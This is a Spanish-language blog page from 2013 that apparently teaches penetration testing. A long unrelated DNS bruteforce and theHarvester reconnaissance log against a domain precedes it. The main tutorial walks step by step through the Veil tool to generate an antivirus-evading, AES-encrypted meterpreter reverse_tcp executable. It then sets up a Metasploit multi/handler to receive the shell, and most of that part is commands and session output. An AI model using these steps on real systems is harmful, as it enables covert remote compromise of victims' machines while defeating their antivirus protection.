[*] DNS analyzer: 0.00% percent done...
[*] DNS subdomain bruteforcer: 0.05% percent done...
[*] DNS subdomain bruteforcer: 0.10% percent done...
[*] DNS subdomain bruteforcer: 0.15% percent done...
[*] DNS subdomain bruteforcer: 0.20% percent done...
[*] DNS subdomain bruteforcer: 0.26% percent done...
[*] DNS subdomain bruteforcer: 0.36% percent done...
[*] DNS subdomain bruteforcer: 0.41% percent done...
[*] DNS subdomain bruteforcer: 0.47% percent done...
[*] DNS subdomain bruteforcer: 0.31% percent done...
[*] theHarvester: Searching keyword 'stuxnethack.tk' in bing
[*] theHarvester: 20.00% percent done...
[*] DNS analyzer: 3.70% percent done...
[*] DNS subdomain bruteforcer: 0.52% percent done...
[*] DNS analyzer: 7.40% percent done...
[*] DNS analyzer: 11.11% percent done...
[*] DNS subdomain bruteforcer: 0.57% percent done...
[*] DNS subdomain bruteforcer: 0.62% percent done...
[*] DNS subdomain bruteforcer: 0.68% percent done...
[*] DNS subdomain bruteforcer: 0.73% percent done...
[*] DNS subdomain bruteforcer: 0.78% percent done...
[*] DNS subdomain bruteforcer: 0.83% percent done...
[*] DNS subdomain bruteforcer: 0.89% percent done...
[*] DNS analyzer: 14.81% percent done...
[*] DNS subdomain bruteforcer: 0.94% percent done...
[*] DNS subdomain bruteforcer: 0.99% percent done...
[*] DNS subdomain bruteforcer: 1.04% percent done...
[*] DNS analyzer: 18.51% percent done...
[*] DNS analyzer: 22.22% percent done...
[*] DNS subdomain bruteforcer: 1.10% percent done...
[*] DNS subdomain bruteforcer: 1.15% percent done...
[*] DNS subdomain bruteforcer: 1.20% percent done...
[*] DNS subdomain bruteforcer: 1.25% percent done...
[*] DNS analyzer: 25.92% percent done...
[*] DNS subdomain bruteforcer: 1.31% percent done...
[*] DNS subdomain bruteforcer: 1.36% percent done...
[*] DNS subdomain bruteforcer: 1.41% percent done...
[*] DNS subdomain bruteforcer: 1.46% percent done...
[*] DNS subdomain bruteforcer: 1.52% percent done...
[*] DNS analyzer: 29.62% percent done...
[*] DNS analyzer: 33.33% percent done...
[*] DNS subdomain bruteforcer: 1.57% percent done...
[*] DNS subdomain bruteforcer: 1.62% percent done...
[*] DNS analyzer: 37.03% percent done...
[*] DNS subdomain bruteforcer: 1.67% percent done...
[*] DNS subdomain bruteforcer: 1.73% percent done...
[*] DNS analyzer: 40.74% percent done...
[*] DNS subdomain bruteforcer: 1.78% percent done...
[*] DNS subdomain bruteforcer: 1.83% percent done...
[*] DNS subdomain bruteforcer: 1.88% percent done...
[*] DNS subdomain bruteforcer: 1.94% percent done...
[*] DNS subdomain bruteforcer: 1.99% percent done...
[*] DNS analyzer: 44.44% percent done...
[*] DNS subdomain bruteforcer: 2.04% percent done...
[*] DNS analyzer: 48.14% percent done...
[*] DNS subdomain bruteforcer: 2.09% percent done...
[*] DNS subdomain bruteforcer: 2.14% percent done...
[*] DNS analyzer: 51.85% percent done...
[*] DNS subdomain bruteforcer: 2.20% percent done...
[*] DNS subdomain bruteforcer: 2.25% percent done...
[*] DNS subdomain bruteforcer: 2.30% percent done...
[*] DNS analyzer: 55.55% percent done...
[*] DNS subdomain bruteforcer: 2.35% percent done...
[*] DNS subdomain bruteforcer: 2.41% percent done...
[*] DNS subdomain bruteforcer: 2.46% percent done...
[*] DNS subdomain bruteforcer: 2.51% percent done...
[*] DNS analyzer: 59.25% percent done...
[*] DNS analyzer: 62.96% percent done...
[*] DNS subdomain bruteforcer: 2.56% percent done...
[*] DNS subdomain bruteforcer: 2.62% percent done...
[*] DNS analyzer: 66.66% percent done...
[*] DNS subdomain bruteforcer: 2.67% percent done...
[*] DNS subdomain bruteforcer: 2.72% percent done...
[*] DNS subdomain bruteforcer: 2.77% percent done...
[*] DNS subdomain bruteforcer: 2.83% percent done...
[*] DNS subdomain bruteforcer: 2.88% percent done...
[*] DNS subdomain bruteforcer: 2.93% percent done...
[*] DNS subdomain bruteforcer: 2.98% percent done...
[*] DNS subdomain bruteforcer: 3.04% percent done...
[*] DNS subdomain bruteforcer: 3.09% percent done...
[*] DNS subdomain bruteforcer: 3.14% percent done...
[*] DNS subdomain bruteforcer: 3.19% percent done...
[*] DNS subdomain bruteforcer: 3.25% percent done...
[*] DNS subdomain bruteforcer: 3.30% percent done...
[*] DNS subdomain bruteforcer: 3.35% percent done...
[*] theHarvester: Searching keyword 'stuxnethack.tk' in pgp
[*] theHarvester: 40.00% percent done...
[*] DNS zone transfer: Finished.
[*] DNS subdomain bruteforcer: 3.40% percent done...
[*] DNS subdomain bruteforcer: 3.46% percent done...
[*] DNS subdomain bruteforcer: 3.51% percent done...
[*] DNS subdomain bruteforcer: 3.56% percent done...
[*] DNS subdomain bruteforcer: 3.61% percent done...
[*] DNS subdomain bruteforcer: 3.67% percent done...
[*] DNS subdomain bruteforcer: 3.72% percent done...
[*] DNS subdomain bruteforcer: 3.77% percent done...
[*] DNS subdomain bruteforcer: 3.82% percent done...
[*] DNS subdomain bruteforcer: 3.88% percent done...
[*] DNS subdomain bruteforcer: 3.93% percent done...
[*] DNS subdomain bruteforcer: 3.98% percent done...
[*] theHarvester: Searching keyword 'stuxnethack.tk' in exalead
[*] theHarvester: 60.00% percent done...
[*] DNS subdomain bruteforcer: 4.03% percent done...
[*] DNS subdomain bruteforcer: 4.09% percent done...
[*] DNS subdomain bruteforcer: 4.14% percent done...
[*] DNS subdomain bruteforcer: 4.19% percent done...
[*] DNS subdomain bruteforcer: 4.24% percent done...
[*] DNS subdomain bruteforcer: 4.29% percent done...
[*] DNS subdomain bruteforcer: 4.35% percent done...
[*] DNS subdomain bruteforcer: 4.40% percent done...
[*] DNS subdomain bruteforcer: 4.45% percent done...
[*] DNS analyzer: 70.37% percent done...
[*] DNS subdomain bruteforcer: 4.50% percent done...
[*] DNS subdomain bruteforcer: 4.56% percent done...
[*] DNS analyzer: 74.07% percent done...
[*] DNS subdomain bruteforcer: 4.61% percent done...
[*] DNS subdomain bruteforcer: 4.66% percent done...
[*] DNS subdomain bruteforcer: 4.71% percent done...
[*] DNS analyzer: 77.77% percent done...
[*] DNS subdomain bruteforcer: 4.77% percent done...
[*] DNS analyzer: 81.48% percent done...
[*] DNS subdomain bruteforcer: 4.82% percent done...
[*] DNS subdomain bruteforcer: 4.87% percent done...
[*] DNS subdomain bruteforcer: 4.92% percent done...
[*] DNS subdomain bruteforcer: 4.98% percent done...
[*] DNS subdomain bruteforcer: 5.03% percent done...
[*] DNS analyzer: 85.18% percent done...
[*] DNS subdomain bruteforcer: 5.08% percent done...
[*] DNS analyzer: 88.88% percent done...
[*] DNS subdomain bruteforcer: 5.13% percent done...
[*] DNS subdomain bruteforcer: 5.19% percent done...
[*] DNS subdomain bruteforcer: 5.24% percent done...
[*] DNS analyzer: 92.59% percent done...
[*] DNS subdomain bruteforcer: 5.29% percent done...
[*] DNS subdomain bruteforcer: 5.34% percent done...
[*] DNS subdomain bruteforcer: 5.40% percent done...
[*] DNS subdomain bruteforcer: 5.45% percent done...
[*] DNS analyzer: 96.29% percent done...
[*] DNS subdomain bruteforcer: 5.50% percent done...
[*] DNS subdomain bruteforcer: 5.55% percent done...
[*] DNS subdomain bruteforcer: 5.61% percent done...
[*] DNS analyzer: Ending DNS analyzer plugin, found 7 registers
[*] theHarvester: Started.
[*] DNS zone transfer: Started.
[*] DNS subdomain bruteforcer: Started.
[*] DNS analyzer: Started.
[*] DNS analyzer: Finished.
[*] DNS subdomain bruteforcer: 5.66% percent done...
[*] DNS subdomain bruteforcer: 5.71% percent done...
[*] DNS subdomain bruteforcer: 5.76% percent done...
[*] DNS subdomain bruteforcer: 5.82% percent done...
[*] DNS subdomain bruteforcer: 5.87% percent done...
[*] DNS subdomain bruteforcer: 5.92% percent done...
[*] DNS subdomain bruteforcer: 5.97% percent done...
[*] DNS subdomain bruteforcer: 6.03% percent done...
[*] DNS subdomain bruteforcer: 6.08% percent done...
[*] DNS subdomain bruteforcer: 6.13% percent done...
[*] DNS subdomain bruteforcer: 6.18% percent done...
[*] DNS subdomain bruteforcer: 6.24% percent done...
[*] DNS subdomain bruteforcer: 6.29% percent done...
[*] DNS subdomain bruteforcer: 6.34% percent done...
[*] DNS subdomain bruteforcer: 6.39% percent done...
[*] DNS subdomain bruteforcer: 6.44% percent done...
[*] DNS subdomain bruteforcer: 6.50% percent done...
[*] DNS subdomain bruteforcer: 6.55% percent done...
[*] DNS subdomain bruteforcer: 6.60% percent done...
[*] DNS subdomain bruteforcer: 6.65% percent done...
[*] DNS subdomain bruteforcer: 6.71% percent done...
[*] DNS subdomain bruteforcer: 6.76% percent done...
[*] DNS subdomain bruteforcer: 6.81% percent done...
[*] DNS subdomain bruteforcer: 6.86% percent done...
[*] DNS subdomain bruteforcer: 6.92% percent done...
[*] DNS subdomain bruteforcer: 6.97% percent done...
[*] DNS subdomain bruteforcer: 7.02% percent done...
[*] DNS subdomain bruteforcer: 7.07% percent done...
[*] DNS subdomain bruteforcer: 7.13% percent done...
[*] DNS subdomain bruteforcer: 7.18% percent done...
[*] DNS subdomain bruteforcer: 7.23% percent done...
[*] DNS subdomain bruteforcer: 7.28% percent done...
[*] DNS subdomain bruteforcer: 7.34% percent done...
[*] DNS subdomain bruteforcer: 7.39% percent done...
[*] DNS subdomain bruteforcer: 7.44% percent done...
[*] DNS subdomain bruteforcer: 7.49% percent done...


jueves, 14 de noviembre de 2013

Veil – Evasión de Antivirus


Veil – Evasión de Antivirus

Veil es una herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus. Utiliza métodos distintos para generar payloads diferentes y permite al usuario usar Pyinstaller o Py2Exe para convertir los payloads de Python a ejecutables.

Descarga Veil:

git clone https://github.com/ChrisTruncer/Veil
cd Veil
python Veil.py

Veil Modo de Uso
root@stuxnet:/media/Stuxnet/Pentesting/veil# python Veil.py

=========================================================================
 Veil First Run Detected... Initializing Script Setup...
=========================================================================

 [*] Executing ./config/update.py...
 [>] Please enter the path of your metasploit installation: /media/Stuxnet/Pentesting/msf
 [*] OPERATING_SYSTEM = Linux
 [*] TERMINAL_CLEAR = clear
 [*] VEIL_PATH = /media/Stuxnet/Pentesting/veil/
 [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
 [*] Path '/root/veil-output/source/' Created
 [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
 [*] Path '/ro
ot/veil-output/compiled/' Created
 [*] TEMP_DIR = /tmp/
 [*] METASPLOIT_PATH = /media/Stuxnet/Pentesting/msf
 [*] PYINSTALLER_PATH = /opt/pyinstaller-2.0/
 [*] MSFVENOM_OPTIONS = 
 [*] Configuration File Written To /media/Stuxnet/Pentesting/veil/config/settings.py

=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

 [!] WARNING: Official support for Kali Linux (x86) only at this time!
 [!] WARNING: Continue at your own risk!

 Main Menu

 18 payloads loaded

 Available commands:

 use          use a specific payload
 update       update Veil to the latest version
 list         list available languages/payloads
 info         information on a specific payload
 exit         exit Veil

 [>] Please enter a command: list


=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

 [!] WARNING: Official support for Kali Linux (x86) only at this time!
 [!] WARNING: Continue at your own risk!

 Available payloads:

 1) c/VirtualAlloc            Poor
 2) c/VoidPointer             Poor

 3) c#/VirtualAlloc           Poor
 4) c#/b64SubVirtualAlloc     Normal

 5) native/BackdoorFactory    Normal
 6) native/hyperion           Normal
 7) native/pescrambler        Normal

 8) powershell/DownloadVirtualAlloc  Excellent
 9) powershell/PsexecVirtualAlloc  Excellent
 10) powershell/VirtualAlloc   Excellent

 11) python/AESEncrypted       Excellent
 12) python/ARCEncrypted       Excellent
 13) python/Base64Encode       Excellent
 14) python/DESEncrypted       Excellent
 15) python/FlatInjection      Normal
 16) python/LetterSubstitution  Excellent
 17) python/MeterHTTPContained  Excellent
 18) python/MeterHTTPSContained  Excellent

 [>] Please enter a command: 11

=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

Payload: python/AESEncrypted loaded

 Required Options:

 Name   Current Value Description
 ----   ------------- -----------
 compile_to_exe   Y        Compile to an executable
 inject_method    virtual  [virtual]alloc or [void]pointer
 use_pyherion     N        Use the pyherion encrypter

 Available commands:

 set          set a specific option value
 info         show information about the payload
 help [crypters] show help menu for payload or crypters
 generate     generate payload
 exit         exit Veil
 back         go to the main menu

 [>] Please enter a command: generate 

=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[?] Use msfvenom or supply custom shellcode?

  1 - msfvenom (default)
  2 - Custom

 [>] Please enter the number of your choice: 1

 [*] Press [enter] for windows/meterpreter/reverse_tcp
 [*] Press [tab] to list available payloads
 [>] Please enter metasploit payload: 
 [>] Enter value for 'LHOST', [tab] for local IP: xxx.xxx.xxx.xxx
 [>] Enter value for 'LPORT': 4444
 [>] Enter extra msfvenom options in OPTION=value syntax: 

 [*] Generating shellcode...

=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

 [*] Press [enter] for 'payload'
 [>] Please enter the base name for output files: 

 [?] How would you like to create your payload executable?

  1 - Pyinstaller (default)
  2 - Py2Exe

 [>] Please enter the number of your choice: 1

Seleccionamos la opción 1 y finalizamos. En este momento empieza a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado.

Ahora abrimos Metasploit:

msf> use exploit/multi/handler
msf exploit(handler) > exploit

Veil - AV Evasion